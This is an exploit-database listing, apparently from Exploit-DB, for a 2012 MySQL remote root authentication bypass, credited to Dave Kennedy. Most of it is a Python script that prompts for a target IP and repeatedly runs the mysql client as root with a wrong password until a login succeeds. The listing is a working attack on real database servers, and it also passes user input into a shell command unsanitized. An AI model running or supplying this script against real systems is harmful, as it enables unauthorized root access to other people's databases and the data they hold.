Lucene search

K
exploitdbDavid Kennedy (ReL1K)EDB-ID:19092
HistoryJun 12, 2012 - 12:00 a.m.

MySQL - Authentication Bypass

2012-06-1200:00:00
David Kennedy (ReL1K)
www.exploit-db.com
829

AI Score

7.4

Confidence

Low

#!/usr/bin/python
#
#
# This has to be the easiest "exploit" ever. Seriously. Embarassed to submit this a little.
#
# Title: MySQL Remote Root Authentication Bypass
# Written by: Dave Kennedy (ReL1K)
# http://www.secmaniac.com
#
# Original advisory here: seclists.org/oss-sec/2012/q2/493
import subprocess

ipaddr = raw_input("Enter the IP address of the mysql server: ")

while 1:
	subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()